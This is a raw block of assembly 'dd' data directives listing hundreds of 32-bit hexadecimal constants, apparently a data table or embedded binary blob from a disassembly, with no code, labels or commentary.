		dd 4341DD3h, 762CDBDh, 0FCB721AFh, 10D02F43h, 229816BCh
		dd 321C60E3h, 1D3B5316h, 0EE4E7856h, 0ACD30F33h, 62072145h
		dd 8368DDB1h, 1F1947BFh, 0BBDC593Dh, 33C9562h, 45E1B317h
		dd 0E3070211h, 59B84FCAh, 27FBF64Ah, 8D095DEDh,	66B90455h
		dd 0B75FF3D3h, 34EBFDE4h, 0DFF1FBA3h, 7BC00F6Eh, 0FB9C8896h
		dd 2F28B95h, 9DBA952h, 2B05A3D2h, 580F5674h, 133D8BBBh
		dd 7FA478FDh, 9C6B4ABh,	348249BBh, 48505379h, 2B464109h
		dd 2050F44Bh, 8F5B5807h, 87702605h, 9316FF32h, 7CAAA00Ah
		dd 0F9D264Fh, 0E980B575h, 2AC26BF3h, 1A5ECEFAh,	8D055BF5h
		dd 109A58EAh, 0EA69875Ah, 77492B24h, 53256366h,	0EFF7DE06h
		dd 0BAD47365h, 2F6FF33h, 85668D3h, 41F77AF4h, 34CCB724h
		dd 0D1F7385Dh, 2E42E9AFh, 0A2D85FC0h, 31A6C00Ah, 9B088AF1h
		dd 0A4EA303Fh, 737B6079h, 74F4545Ah, 8ED4BDC6h,	6D4F0C34h
		dd 81DF086h, 0B113DEEBh, 2230B9C4h, 9207127Ah, 6009AA95h
		dd 1C67DA4h, 2A7450C1h,	0A53A51ABh, 0BF080485h,	0E4E91D42h
		dd 0ADEB596Ah, 80BD3FC4h, 606851DFh, 23989769h,	8C2D7AA5h
		dd 0AA29DD39h, 0D314FD86h, 0B9404705h, 0D681F756h, 800037E8h
		dd 283A9CEFh, 6AEBF2C7h, 13F788B0h, 0B3F83081h,	9331848Ah
		dd 7B103414h, 80844B05h, 4FD7ECAFh, 0F9933EFDh,	0F8DC10D2h
		dd 28772F72h, 0B30E36FDh
		dd 909ADEBh, 0E92AF9CEh, 5186C89Ah, 2B8D465Bh, 63B3F12Fh
		dd 70E90B06h, 0CAAD515Ch, 2029C5A5h, 230FE962h,	0B1B818C0h
		dd 5B256232h, 0B247A809h, 7C384041h, 0EF8C4A31h, 3F4EFB00h
		dd 17EAC10Bh, 0A046E907h, 5E0035FFh, 51BCC01h, 0FA8E615Fh
		dd 48D030F7h, 0AC289242h, 9FE154Bh, 90D7C72Ch, 781916E4h
		dd 88C39CA3h, 1C300F65h, 382A3Ch, 6AC12DDEh, 0F82937FCh
		dd 54070551h, 5EDBC132h, 27AC3ACCh, 5C0BFAD6h, 7FA6294Bh
		dd 0E29C46DAh, 4E045892h, 2D008DB0h, 472205DFh,	6AAF3505h
		dd 4EA8BF9h, 0FAAC6C9Fh, 7D40A144h, 0FC04FB12h,	0B8BBCAFEh
		dd 88B509DBh, 0EE4703F5h, 0F2C1074Fh, 23C93EE8h, 2CEADA87h
		dd 47DC7F0h, 0D8E052E4h, 0E6EFD3F5h, 0F64C5832h, 43584ECh
		dd 45755A09h, 40890873h, 5CD9080Bh, 0C6B41462h,	0BD092B20h
		dd 82014757h, 0D56507B5h, 0F1AF2B7Bh, 63D60CEh,	14F1E2Fh
		dd 2D072D8Eh, 0C0B03EA3h, 15398605h, 7D32E8FBh,	109FE048h
		dd 0BB025638h, 69AB0F0Eh, 0E970E35Dh, 6D226EBFh, 60B3C060h
		dd 0FC9054ABh, 0D668A0Bh, 77D03269h, 0B0A637D6h, 27857227h
		dd 0A0796C81h, 0BF0408A0h, 293EE011h, 0C4051B6h, 0D73F2CE9h
		dd 31588120h, 41215FFDh, 7DD9EEBAh, 6802045Ch, 0AB946CC1h
		dd 0D2DFA387h, 0D9EAF4FBh, 265E1E7Fh, 800471F9h, 0C77E6830h
		dd 0F4817BD5h, 2896E91Ah, 69FE4B13h, 0CF80153h,	0CB210018h
		dd 0FAC9059h, 1454DBBh,	0F41F14C5h, 2360C76Dh, 0E1814164h
		dd 3E772498h, 47790B00h, 0EBDFCF12h, 0C1F5928Dh, 680092CFh
		dd 98B55958h, 3003A330h, 0A46E178Eh, 85B03F55h,	85A1AF5Bh
		dd 0A717386Eh, 0F4E97540h, 0C5DBC2C6h, 82805F58h, 5A096542h
		dd 82077A9Fh, 14165F08h, 0A52771B7h, 643A6A6Dh,	82FB51ACh
		dd 77098509h, 44F57C0Bh, 0C1632AA4h, 61A680E8h,	0B2929713h
		dd 1F9135C0h, 8810E62Ch, 0A2505600h, 4117E913h,	2CC9769h
		dd 0ADE425ACh, 3E806266h, 0EB590499h, 304F9B8Bh, 6938EA1Ch
		dd 51490A22h, 0BF6008C2h, 0A8204E7Eh, 31AEE54Dh, 0D28B5470h
		dd 5BBD4ED7h, 275CB1BDh, 8A0896EEh, 52813DFCh, 0D646C268h
		dd 2ED2F165h, 0A3F4E412h, 187D9553h, 27E9D32Bh,	99D19E49h
		dd 0C183C825h, 2D4182BBh, 0F9C8C1A8h, 46873004h, 77283740h
		dd 4B8C32F9h, 615DD74Dh, 25200689h, 237F3452h, 4C28156h
		dd 8CC92A08h, 0C12C457Fh, 131AB239h, 82FA4DB6h,	0C051F9C4h
		dd 0A6B05A44h, 0F9303B71h, 898DEC4Bh, 0F571A926h, 66977516h
		dd 3A9F2FD2h, 70896259h, 0B3D25FFBh, 55D9012Ch,	0E1236900h
		dd 0ECE8127h, 2A040DA6h, 1106F6C0h, 2B717C8h, 0F4EFFD5Dh
		dd 0F6CC72F3h, 0A237CE95h, 0B6F0550Dh, 208FF095h, 0C01E7B3Dh
		dd 0FC0B03ECh, 64E5DEB7h, 8E95BC1Ch, 3A60052Bh,	503E1F8h
		dd 23D54096h, 0FC7FA7A8h, 30B1065Eh, 7F220704h,	0E91781BEh
		dd 72CA4D1h, 0AFD8F784h, 4ABAC8B0h, 0ECBB90F8h,	2B7B7E6Fh
		dd 84A1CE24h, 4B08B9A1h, 33B30BE8h, 252C075h, 15EB3F80h
		dd 0A58BA1AFh, 1229605Fh, 2F5B729Ch, 0ECD8CE31h, 89367CB5h
		dd 60F94087h, 0A2657F82h, 79E27442h, 87A26F50h,	0B28AEE93h
		dd 10E62D2Fh, 0FBD1840h, 0B080950Ch, 0EB236746h, 584DF52Dh
		dd 23C3974Ah, 7E1CD0F1h, 0D2AB5956h, 4258BF85h,	99272C3Bh
		dd 0C1419919h, 61B4A83Fh, 0DD1572ECh, 9F331570h, 3CDF3B62h
		dd 0E1F70BAFh, 0A4D70168h, 0B2AB14B6h, 768E0BFh, 9D83A578h
		dd 4C57278Fh, 0F9E92736h, 0AFF3BC09h, 9510EE6Ah, 1DF02114h
		dd 0AB131912h, 3608E231h, 2CF03D83h, 0AA855ABDh, 0B1025DB3h
		dd 0D2F18066h, 0C07E1F60h, 0FE02E901h, 11B353C9h, 4BFC3D5h
		dd 30D47EF4h, 0DD77FB9Ah, 7B98515Bh, 0F1BD0D92h, 1BE9E110h
		dd 0F009FE41h, 9CFD9DECh, 42DBB474h, 0A1F6C108h, 991BE1C3h
		dd 65C92AE9h, 687CA67Ch, 622284FAh, 21D53A44h, 3B1E6840h
		dd 4E678792h, 9EDC8975h, 112849CBh, 8F66B9A3h, 0FF503F0Bh
		dd 899B5BFEh, 7D30431Bh, 81BC27DCh, 22905647h, 2737CB47h
		dd 5582E3E9h, 11E3C780h, 68002C92h, 5CAC7F74h, 4C2DC041h
		dd 3E31A1E1h, 0F2B1BAFCh, 7DA36F5Eh, 1ED9FE4Eh,	82F55C29h
		dd 0B157C4F1h, 58705581h, 494C954Ch, 747AD02Dh,	5F97AB0h
		dd 2D074968h, 1F9463E1h, 1D1063D1h, 109A843Fh, 442CFD07h
		dd 0D30B6FF7h, 0E6312057h, 5E1E7A28h, 1246BD2Ch, 56A9559Fh
		dd 0EBF5B625h, 69101008h, 0D546279Ch, 5834AE8Ch, 80A3CD24h
		dd 145FF827h, 0BA23658Ch, 2D314D11h, 6C85B08Dh,	22DEC74h
		dd 8147DFF7h, 2AF0E1EFh, 0E0857797h, 9EF4EFC2h,	2AA89255h
		dd 0F4BC665Dh, 0CC2D5BC7h, 3BF45F39h, 779DB8BAh, 0F758EF9Ch
		dd 2E8817C0h, 2AB22E34h, 20B7AF8Dh, 0AB415949h,	0EC65B47Fh
		dd 74260C69h, 30E02048h, 77AE5D7Ch, 685E3A4Ch, 84165EDh
		dd 8DE22040h, 1BC82E2Ah, 4E011142h, 57FF4ECh, 19088EF2h
		dd 3D8DA036h, 31305002h, 553FE9DAh, 509D8366h, 0AE7A4AD8h
		dd 2EA1F64h, 0E80871CBh, 698B1655h, 8F514EE9h, 10751282h
		dd 3FD9C072h, 77532870h, 4F9E01E7h, 64E92DBBh, 0BE329334h
		dd 610BE001h, 0F150F289h, 0EDA3549Bh, 0C5E5F02Ah, 0E00E7225h
		dd 0E47FBADh, 0CA31184Ah, 1240EEE4h, 696CBD0Bh,	8774A632h
		dd 8F7ABF2Dh, 87402690h, 0BF7BEC52h, 7DA71E7Eh,	0D759BA84h
		dd 0E15AF2BBh, 2FD2EED5h, 24A55DEEh, 0B19852C6h, 0B576C2Eh
		dd 0F96DB368h, 0B9F9BF55h, 0CA0A41Ah, 0D91386F2h, 785A3CEEh
		dd 0B4F5CDD4h, 7F6C702h, 68C8735Ch, 0E9DA98FCh,	407FA824h
		dd 0C36D0551h, 55EEF44h, 75E94DD0h, 85C937A3h, 40DBE110h
		dd 40206E21h, 0EE1E60B5h, 69433079h, 8970080Ch,	34C4775Eh
		dd 3BE6C9BBh, 411CB7B0h, 7733F415h, 6CD9DB0h, 15820946h
		dd 52056851h, 0A543C5A3h, 0F8F2334Eh, 35334A78h, 0A61EE08h
		dd 58022928h, 0E419A82h, 3E845C5Eh, 0B1AACD2Eh,	88FCAC0h
		dd 0FC1F1E39h, 0AA903FECh, 80925520h, 125FA4F0h, 2890E80h
		dd 5B3668FBh, 3D8069D1h, 0E93CA072h, 0E2195F60h, 639D017Eh
		dd 0A1687076h, 1970BA0h, 5710A7EBh, 0A0D32978h,	1B920886h
		dd 0ADFEEFBDh, 22813E7Eh, 4842E928h, 65F03C65h,	0E3414EE0h
		dd 0EFC1002Dh, 5CBD5502h, 10782719h, 8905AB54h,	0D8AB5FFEh
		dd 0AA602A80h, 16DCEBF3h, 0AAAFD7D9h, 93E99DC1h, 0BB4F166Fh
		dd 0C6CBFC8Ah, 0B804A758h, 1C854262h, 0FD38A182h, 0F7952016h
		dd 2A595F31h, 0E93F68AAh, 49042C4Fh, 57C0DBF7h,	4E6361FAh
		dd 4082E025h, 20B0BFA3h, 81951EC0h, 2180E989h, 0C06E9552h
		dd 245E6B35h, 17E7D6F7h, 41EA4EC0h, 1342C9C9h, 135C6577h
		dd 0C43042Dh, 31E3C277h, 0B7F85E05h, 0FC625979h, 2B81BA02h
		dd 4156228Fh, 531DE201h, 0C812A54h, 20851CCAh, 0FCB88142h
		dd 902BB4Bh, 7AEAB334h,	0D3142DC8h, 92608242h, 0E2B586E9h
		dd 0EA5B5F9Ah, 0BF575CC0h, 997E12D3h, 812CAA72h, 0E90D4056h
		dd 0E5470924h, 0D35FBA9Bh, 0BF1502B9h, 43D35F10h, 195703E0h
		dd 98996C9Dh, 34691C25h, 94B4F00Eh, 501A973Fh, 0D1CF229h
		dd 14021C08h, 0EC7C575Eh, 3F3C745Ah, 75F95325h,	0D85B0BBCh
		dd 3FD4F657h, 0CAEB0F6Fh, 64F5274Ch, 794B7A38h,	7686CCEEh
		dd 0AB6CFC41h, 37F17502h, 0A785F329h, 4B11F3C8h, 4140D1E1h
		dd 0C7467A4h, 0D1F7413Bh, 9807567Ah, 0C801C48Bh, 0F53DB272h
		dd 0A0BAD620h, 0C2F647F6h
		dd 97E3B44Ah, 0C545217h, 28148BEDh, 4E7DC358h, 0B2176FA3h
		dd 5D6213BEh, 19283D3h,	84057B71h, 78AB67ADh, 0EC11EB82h
		dd 0BFD1F31Eh, 0AC3F8535h, 0D73C8B9Dh, 0E942F3C5h, 9D3CD86Ah
		dd 0F587D183h, 7DEA8BD1h, 0D8FBD664h, 6838E977h, 34EB4F2Bh
		dd 7D1FBF3Ah, 0F62DCC8Bh, 620F62C0h, 21C5B205h,	0F2806B02h
		dd 0CC177CAh, 1F9B62D6h, 944A92EAh, 5725B4D4h, 81D53C42h
		dd 0FEFDB73Fh, 0EF6CD17Ah, 0CA2004CBh, 76956E6Fh, 27F1023Ah
		dd 31363CE4h, 4B587155h, 0FFDFEB85h, 4F660960h,	0D86E4B2Fh
		dd 640025EAh, 0CF816309h, 4B5B3ABAh, 4FFFC32h, 73E75D47h
		dd 8A7E14C1h, 0DCC62801h, 9BBD1B83h, 4064802h, 2AD97A27h
		dd 0F5C67FC9h, 6C716814h, 8C60D8D9h, 765C95C3h,	7E354F41h
		dd 4BF829FCh, 688A2C5Fh, 9879862Dh, 253B28F7h, 0E0F70FD1h
		dd 9EF8025Fh, 2262638Fh, 701E3B1Ch, 0C0C7D727h,	8445A663h
		dd 1C31F6FEh, 0F5253F35h, 918A641Eh, 61EEE5DFh,	2938AAE9h
		dd 0A63611EEh, 3E6226Ah, 6DC8584Ah, 9D7FCF2h, 10EE7709h
		dd 83BE15FCh, 40652500h, 0E92D7351h, 0F14201C1h, 57855C5h
		dd 2E4A295Ch, 0F35A89EEh, 0C67F25ACh, 49FC096Ah, 300725C0h
		dd 0A2ABD5E9h, 2F515137h, 2F7E81E8h, 10466572h,	0D5827A7Fh
		dd 0EC2E904h, 66190B68h, 109802E8h, 0E1D177EDh,	35F35C1h
		dd 84BE8DB5h, 7ECAEACh,	0FD268C3Ch, 5B6D1041h, 9506BDE4h
		dd 0C4D5B43h, 0BC9817FFh, 9631C30Fh, 0B3AEE2D5h, 893388C6h
		dd 85EB09D7h, 69F10CA0h, 0DE4A1BF6h, 9DDE9CEFh,	5CCEC95Fh
		dd 3E8E257Eh, 9294ED7h,	30CB1194h, 7153B100h, 0E9174695h
		dd 28D0AF39h, 270878C7h, 2D14CDC6h, 8DA3585Ah, 0A0CEE912h
		dd 0F10EB996h, 3731ED26h, 11C66040h, 0BD0BC203h, 180837A8h
		dd 62240E59h, 8078CA3Fh, 0ECBB53FEh, 715F1A7Eh,	9E569F43h
		dd 0E336F302h, 4E47602Fh, 5880A41Eh, 31010AFAh,	0D15EF221h
		dd 74B6E0E2h, 666420C2h, 3D916089h, 9CFE60F7h, 68B70E9Bh
		dd 4726E89Dh, 5EE9D3Ah,	324D2EE1h, 0B82A3921h, 9508A401h
		dd 0EAD1257h, 2BD85538h, 0ED270C34h, 3F9050A6h,	0CEBAC78h
		dd 0E59ACBDDh, 0F7A6F1EEh, 0D64DE9E1h, 0FFB7604Bh, 842FB813h
		dd 51911B59h, 84C34D71h, 5EC762BBh, 0F786EF5h, 13046DEh
		dd 5B8BF580h, 0E9152720h, 5BEB2ED9h, 888506ECh,	0CA0E81E2h
		dd 8543CEFAh, 2BC86DF1h, 0E4D3CC5Dh, 8853E480h,	0B0D9E4E3h
		dd 93B26062h, 44D413C3h, 3F1B54C4h, 1A835D09h, 0D1165162h
		dd 0C2F05EF7h, 9176520Ch, 61638E0Eh, 0AE530541h, 0C9A1213Ah
		dd 0B0EE042Dh, 0F31B6EFh, 356E72BAh, 98CFB33Fh,	0E842A0F0h
		dd 40979066h, 76D43158h, 91B44F2Dh, 9D27FE50h, 0B70FF980h
		dd 12568C8h, 9A8F379h, 0D39ADD31h, 8284DE55h, 7D1BF71Fh
		dd 5C086674h, 6B2D006Ah, 0C145537Eh, 8E83Ch, 218F65C4h
		dd 0E0261305h, 2FDD9C86h, 2C095C20h, 595A6566h,	0B0730F76h
		dd 0EBA66048h, 971ABBE1h, 96F89698h, 604F0872h,	0BA521880h
		dd 0B24772Dh, 4183680Fh, 6DB7AE30h, 177D7A4Ch, 99AF6B49h
		dd 0A0EC3BF4h, 0BF5FF9C5h, 0A432F42Dh, 24589127h, 0E2D6B3B5h
		dd 0F94F4DFh, 0E43A5B5Ah, 0C0559409h, 4EF1E978h, 513B523h
		dd 0C91844D2h, 1283E348h, 38D8813h, 0DC782525h,	211599D6h
		dd 0AC30967Fh, 0CCFCD409h, 953CBA4Ah, 4284EBDEh, 0D091FEF5h
		dd 0E92A96AEh, 1681C460h, 94BE5AD5h, 6713AF06h,	722B7B09h
		dd 0D4B70994h, 5085FB2Dh, 5313AE5Fh, 68C462A2h,	8493B9D2h
		dd 2290F889h, 9F3D1A17h, 0EB147854h, 0EDE91208h, 0FDF14FBEh
		dd 8DDFE7BDh, 0F83B0CC4h, 0D45F25D9h, 31FC796Eh, 0D5D84851h
		dd 3CBD5541h, 0E3D3F90Bh, 3711025Fh, 0D8225F7Bh, 61796EE7h
		dd 1BF208h, 80A4B151h, 0FE3E33C1h, 48ACBFC9h, 7868C288h
		dd 0B0E09862h, 0E8C001ECh, 0FED8F607h, 3F08BEC8h, 943B9B7h
		dd 0A956E91Bh, 16F0DD16h, 50254002h, 6042C94Ch,	4E3E74F5h
		dd 1E4FBA3Dh, 854505B8h, 0AE4CC4AEh, 99D0C14h, 5A2D226Ah
		dd 8EA5101h, 0CD923872h, 0C7AF0163h, 0E1E4503Bh, 0B14A5A76h
		dd 41A8A7A0h, 0A4E81E5h, 586E6D29h, 0A4FB52F0h,	9E402694h
		dd 24C3477Fh, 8281C4C8h, 1AF0A377h, 0A1685E0Bh,	8AE0794Dh
		dd 6F9377B7h, 451B6305h, 0BB62A0D6h, 493BFBC9h,	9A5D4CAAh
		dd 1A988614h, 29B53810h, 159E817h, 0CF800934h, 96C7CC63h
		dd 283506C0h, 9533E9F8h, 6FC11812h, 0C6B5009Fh,	0DAC53D80h
		dd 52010F2Dh, 7A045A68h, 6782C434h, 0EF8E0F84h,	55DD80Bh
		dd 12F08DE0h, 348B2759h, 0E95DF1B0h, 515E22Eh, 6D85DF69h
		dd 27C3ECB3h, 0A077DEBEh, 0FB754DC0h, 50AEB902h, 0D180438Bh
		dd 6E12734Ah, 4593E917h, 46547120h, 11725825h, 92694F1Dh
		dd 0D028517h, 6F723274h, 3B2474F0h, 5A2DD028h, 0AC3970C5h
		dd 0F31778E5h, 0AAC60CC0h, 42912540h, 25583FFCh, 0BF8E1282h
		dd 5584EE29h, 0F1B9ECAEh, 6800B080h, 15C4218Dh,	5A09E1C1h
		dd 0B0000CA9h, 3A0219AAh, 0D6DFF727h, 0F083457Ah, 0ECB68D30h
		dd 82667D25h, 0D0939680h, 3B627F82h, 12CC30C3h,	112AB7EAh
		dd 0C5076602h, 99FE6E35h, 33CF07C3h, 4E55F57h, 0B42D78EFh
		dd 87BF87C3h, 3FA27436h, 4C6F7884h, 0F910A65Dh,	0B9FC5BA6h
		dd 9EF25476h, 1F9007E2h, 0C24A6A41h, 4C5D72D8h,	49BC010Bh
		dd 0E3C13746h, 0FBF53004h, 44D3B504h, 188CEB31h, 85809F11h
		dd 77591B35h, 1058274Dh, 6816B7D3h, 0BE0E5312h,	25E9C7D8h
		dd 0C6F2C01Ch, 3FF6E0C0h, 0FC4637D6h, 160594AAh, 9F5CF466h
		dd 0F2411141h, 0AE046F6Ah, 0C8E8B9A5h, 0B7B79A2Bh, 0A959B9CAh
		dd 50685682h, 52FD5473h, 2F320FC1h, 15D6620h, 0DC5950CEh
		dd 307E5AB3h, 7399C157h, 5498E3Bh, 0C5CDD4F1h, 0A5790EAFh
		dd 0AA7FB405h, 816FDD4h, 0E6000FE8h, 25629D1Bh,	0E8017DEBh
		dd 0A4282D01h, 3EAFE4D7h, 894589FFh, 0B7B27067h, 4EC568DEh
		dd 5909FA0Bh, 32772FFBh, 0F2C0D703h, 7EBB10DBh,	60FB5B17h
		dd 4C7BEB21h, 0E9652D0Bh, 0F42A29B2h, 2FFB205Bh, 0B5C05C92h
		dd 558221D7h, 8A5E31E6h, 0A82B35B1h, 6CA0B426h,	242A4F0Ah
		dd 185AB959h, 0F7D7BAE2h, 286E05BEh, 0B3F9090Ch, 0FE3250A7h
		dd 123BBA48h, 0BDB188E9h, 0F9F14CD4h, 12B2CC7Bh, 0DC12F66Bh
		dd 71879DEDh, 212BA6BEh, 9BE842D4h, 764FA459h, 0EB2B2BB1h
		dd 0F9C3BE73h, 902F4690h, 1B2FD9EFh, 14058B7h, 7FCB8143h
		dd 0D836CA78h, 0D1F4FF3h, 0E3013123h, 62E28ECh,	0D2CE1882h
		dd 0C8FFAE39h, 8053A2F5h, 64648F68h, 0BFF07685h, 5D025A8Bh
		dd 40525301h, 0CE627AA5h, 99F013Eh, 0B208F5BAh,	0FA29090Bh
		dd 0FC8F9C02h, 0D221D657h, 2BB2C057h, 0A2794A9Dh, 42E94A96h
		dd 83B044A5h, 1F80142Ch, 29052DE8h, 6CAD4CD6h, 1A9DAF93h
		dd 0CC6CE121h, 0C01D9EC0h, 68755727h, 314C3E7Ah, 0E1CF0274h
		dd 5F74206Fh, 0EF09C1DEh, 85D485B9h, 0D3ABB0ABh, 57685A0Ah
		dd 0E8C9740h, 0C4F87716h, 0A6292DFAh, 0E0B55E5Bh, 0A8E684F8h
		dd 1DC6EEFAh, 0BA695166h, 4A4C7A81h, 3AF501BFh,	98DCB7E8h
		dd 0F0B83203h, 40FB1406h, 0FE0BEC2Dh, 0D16B5A42h, 0FA23860Fh
		dd 0BD8A27E2h, 13073AFFh, 944CB002h, 0B4DA90C9h, 0B170B7F8h
		dd 0C058E700h, 0C7FE03EFh, 0C4F70C80h, 7F0ADFF6h, 0D2B7CB98h
		dd 7862BE3Ah, 5E81D01Dh, 974CCAD8h, 657D2692h, 0B8E9044Eh
		dd 515B316h, 3A6B3E79h
		dd 0BBCD92ABh, 94C1F750h, 80D7F605h, 482131D5h,	4885012Ah
		dd 38182168h, 94049644h, 5B0F3ABCh, 6F2058FDh, 8DB2E34Ch
		dd 0A79524F6h, 0F96914EBh, 20F76190h, 0B038894Fh, 3DD8E472h
		dd 0CC25CA88h, 7FC62049h, 3F058D54h, 95E25F5h, 2C027FEDh
		dd 547DF231h, 3D9766E7h, 68505501h, 3E933BF1h, 0B03A26F1h
		dd 9C956691h, 0E8832FF0h, 658884DBh, 0AC21137Fh, 0D8F7E240h
		dd 0CD95BDF0h, 9F00F8A5h, 5D5882D4h, 0DFB952Ch,	985D5249h
		dd 4EA7EB6Dh, 8C004FDEh, 516B163h, 2F8F48A1h, 5DE8B44Bh
		dd 89685E39h, 0F60C9DA8h, 8B79C83Fh, 0D42847E9h, 0D06A15D9h
		dd 1392439Ch, 4D90054Eh, 1273A7Ah, 17985FF0h, 9266184h
		dd 36048E45h, 86808F14h, 5A0DE9DDh, 9C3AB877h, 0AD112582h
		dd 9CF45F27h, 405BD669h, 4490BE56h, 0F97CEF2Ch,	0BB3CF503h
		dd 0C0CEB348h, 3F631D7Fh, 0F35E50E9h, 6291C4Dh,	0F6CF42A5h
		dd 4848A579h, 0DBC6BE33h, 9FEF5488h, 2059B7E9h,	0DEFF6C31h
		dd 2572E7F5h, 0FDC832F1h, 79E188C4h, 0A28CFC6Ah, 5D61EACAh
		dd 0A4080EDEh, 95852070h, 6D108F75h, 0C16E2506h, 76FAD46Dh
		dd 171A09FEh, 9D420215h, 0EA160ED5h, 57A5451Eh,	47698CC1h
		dd 0AA55D92Ch, 0C918CF58h, 1711C217h, 0F7CFC69h, 2F7F8094h
		dd 0FE8F7765h, 54E6E0CEh, 1289B551h, 0AA0982E9h, 0CDB23677h
		dd 0E2186828h, 0C2801605h, 4F1DFF35h, 0EB98C38Ah, 70CCB0C2h
		dd 56A8C817h, 70B40516h, 7AAFB52Dh, 0EA84B556h,	5A849AD6h
		dd 0AEE0F8E9h, 0BF30E65Dh, 0ED09F2ABh, 1595D5Ch, 595D09E2h
		dd 0E8EF176Dh, 75160E24h, 0FAE3B75Fh, 0B55BE940h, 84B4886h
		dd 6AE90612h, 0C502B7B9h, 42447B82h, 5FA709D7h,	22C1AD1Bh
		dd 8D007A53h, 0BFE07EEh, 4B15B8D0h, 7D0E6B0h, 3CB015Bh
		dd 61FFB21Eh, 75A1E970h, 4D3C3BC9h, 2C0730E9h, 5E37CE17h
		dd 8E902F73h, 7816FD0Bh, 0F05D8E30h, 26840F0Bh,	28BA11DDh
		dd 80ECC53Fh, 0C8315A29h, 3AFC3FA4h, 3CEBEA4Ah,	0A42E68ADh
		dd 7DC2025Fh, 0C2F0F478h, 9B723A26h, 0B195F427h, 0EE2E2983h
		dd 180F0F21h, 68600205h, 0AD14BE1h, 834478Ah, 5B0954A1h
		dd 5AAC3851h, 209D1Eh, 0B71FFA76h, 0DB57295Ah, 68586141h
		dd 673664D8h, 9F89575Ch, 5070A0E2h, 0D3BA2D04h,	0B8AB8671h
		dd 43167237h, 0A6502064h, 96C45007h, 3DBAB840h,	38AE1D54h
		dd 0FECA3BE6h, 0FA1BF2CFh, 3E106CEBh, 8917D231h, 0D40EABE8h
		dd 3C7A87ECh, 62C4B2EFh, 0D305BDAFh, 0D5F26F8Dh, 17439A4Ah
		dd 0F4580BFCh, 0EF637A4Bh, 19FB7F42h, 2D26082Bh, 0E8DE0DF0h
		dd 0DBF73293h, 0C95FD006h, 0B0F27044h, 0A17F6ED0h, 0EDA5C235h
		dd 24F61581h, 0CDF06F8Eh, 0D782E014h, 0EBC88136h, 76F3F4A3h
		dd 824F7A95h, 6C7E8408h, 395C67E0h, 0CDD50168h,	0EF3533DDh
		dd 40EC2130h, 6E0F2D52h, 42457B46h, 75FEF5E8h, 0A701A671h
		dd 4B60C563h, 35F77481h, 2E2920CEh, 0AC5082A6h,	10611AFAh
		dd 8B440C22h, 68B26097h, 704781FDh, 4D0942BCh, 89091407h
		dd 2E67020h, 0A5D4F781h, 5E5F4891h, 0ABA82EEh, 0C18B9540h
		dd 0CB00B56h, 4F085259h, 400FBD67h, 0DC5DE908h,	685F1DDFh
		dd 84AC5392h, 8056CEC6h, 0BBBD29Fh, 0FFA781E9h,	8F9C46EEh
		dd 0E1527812h, 4816545h, 0E1CF8CAAh, 3FBB3340h,	28B0C34h
		dd 39D8D989h, 0CE219A00h, 57DAF770h, 646109BFh,	23622451h
		dd 0FEADE9DFh, 0DCAE4887h, 0B8D519FFh, 9238680Ch, 5D13AA26h
		dd 71ACD6CFh, 83F12612h, 152DAA2Bh, 0AA8D843Bh,	9D001D8Dh
		dd 68CD6F8Dh, 20AD1E70h, 0AE585E08h, 71F63D38h,	6C9B25E9h
		dd 52625C74h, 129D087Dh, 7A01F13Dh, 0DD1CB949h,	0FB77B066h
		dd 0DDD11F2Fh, 0B1C11880h, 265BBE42h, 28306A90h, 0F7121685h
		dd 24E901DEh, 7B392A03h, 0EAEF62B0h, 1A2661A5h,	6A1A29CEh
		dd 0DAEAEE85h, 63A9195Ch, 0B221FAAFh, 69CABC3Fh, 0EFC0FF0Ch
		dd 4A605E5Fh, 26E5A12h,	0E9421370h, 0F25FC8h, 0B84387CFh
		dd 0C7798327h, 0ED6BA090h, 4BA75B1Ch, 0A67691DDh, 5D2C3BCBh
		dd 2D312210h, 4DA64866h, 807B37Dh, 9824B6D7h, 8E52F98Eh
		dd 1F23A5Eh, 0CD14E907h, 4BA58764h, 3C88C3Fh, 4A4C30F0h
		dd 0AF01E6Eh, 81491201h, 1EF4C0C9h, 7CE9EC28h, 43423EF9h
		dd 4DC6E11Dh, 0F4264D27h, 543929E6h, 0E8F8DE75h, 1C549F59h
		dd 68560355h, 43545E66h, 0FCCE3199h, 60B21D86h,	3D74A3FCh
		dd 2D066A0h, 6BEF9A9Ch,	90EEAAD3h, 897C1B02h, 996ACB62h
		dd 0E82B58C6h, 3CE9C4D2h, 9C53BFh, 38DA0EDBh, 3FE4685Dh
		dd 58909DA6h, 6EF282A0h, 0A0475E9Dh, 2ECF45BAh,	12A4F9FCh
		dd 0A953BAFAh, 74C4CBA2h, 0CAC10ED7h, 26039705h, 0B0123340h
		dd 2820EEF1h, 988411A8h, 79F67B69h, 0EB4A5856h,	0EB4A1738h
		dd 0F24E86CAh, 7594C50Ah, 0D87331BAh, 0F4906B93h, 0F66704E8h
		dd 0D7D35E01h, 310B2A60h, 3E7612E2h, 9500AA8Dh,	73BA6831h
		dd 3CDB2C28h, 0B0D4C3D7h, 265A669Bh, 0A20FCA95h, 71251D50h
		dd 0E06AAD82h, 1C5AFE52h, 33E2F490h, 0DF3D4C2Eh, 5FB6F203h
		dd 0A3067C3Eh, 0C2895257h, 0F3E25006h, 6235F2D6h, 536D6259h
		dd 0FF2DC21Bh, 65557E0Bh, 5BA88289h, 0FD8B17C6h, 4A09ACC2h
		dd 0C6D8B15Dh, 9304BB2Bh, 0CE9260E9h, 87796055h, 25862D6Bh
		dd 42816690h, 0ACFD384Fh, 245BCD47h, 0A8E09CFh,	0BD5D7977h
		dd 813BFB14h, 8819B182h, 0D30678F4h, 418F7EFh, 0B05861C2h
		dd 7D50BB70h, 545B2508h, 59642FEBh, 56BE66F0h, 0FF4BD861h
		dd 1564EF3Bh, 0F487BCEEh, 0E933B8BAh, 0C301B810h, 7C032768h
		dd 5B60C77Ch, 5E02E634h, 1283E95Dh, 3BE812F8h, 0E120E5E7h
		dd 0E07B3568h, 39BF8F7Fh, 0CBF83CBh, 0EF9AC44Eh, 9F3F3AA4h
		dd 0CD5D6B09h, 42688519h, 8851521Ah, 0E85A213Ch, 4BF5C0F8h
		dd 0F3DC5538h, 78BA244Bh, 0B80537E8h, 840B4506h, 103AB96Dh
		dd 1155BB5h, 0BBD776F0h, 9C6F759Dh, 6C8A025Ah, 0B051BF99h
		dd 6D62FB27h, 66DA3498h, 33E4B81Dh, 64C53109h, 9D542D03h
		dd 8E609D92h, 0C65E61D6h, 58E997D0h, 3BF49520h,	0DFBC9045h
		dd 0F7215A0Ah, 0C2B2EC68h, 5C7BEF39h, 8E924CB5h, 800E70FBh
		dd 0EC672ACCh, 82C46507h, 646951F8h, 0A201D854h, 0C2F44895h
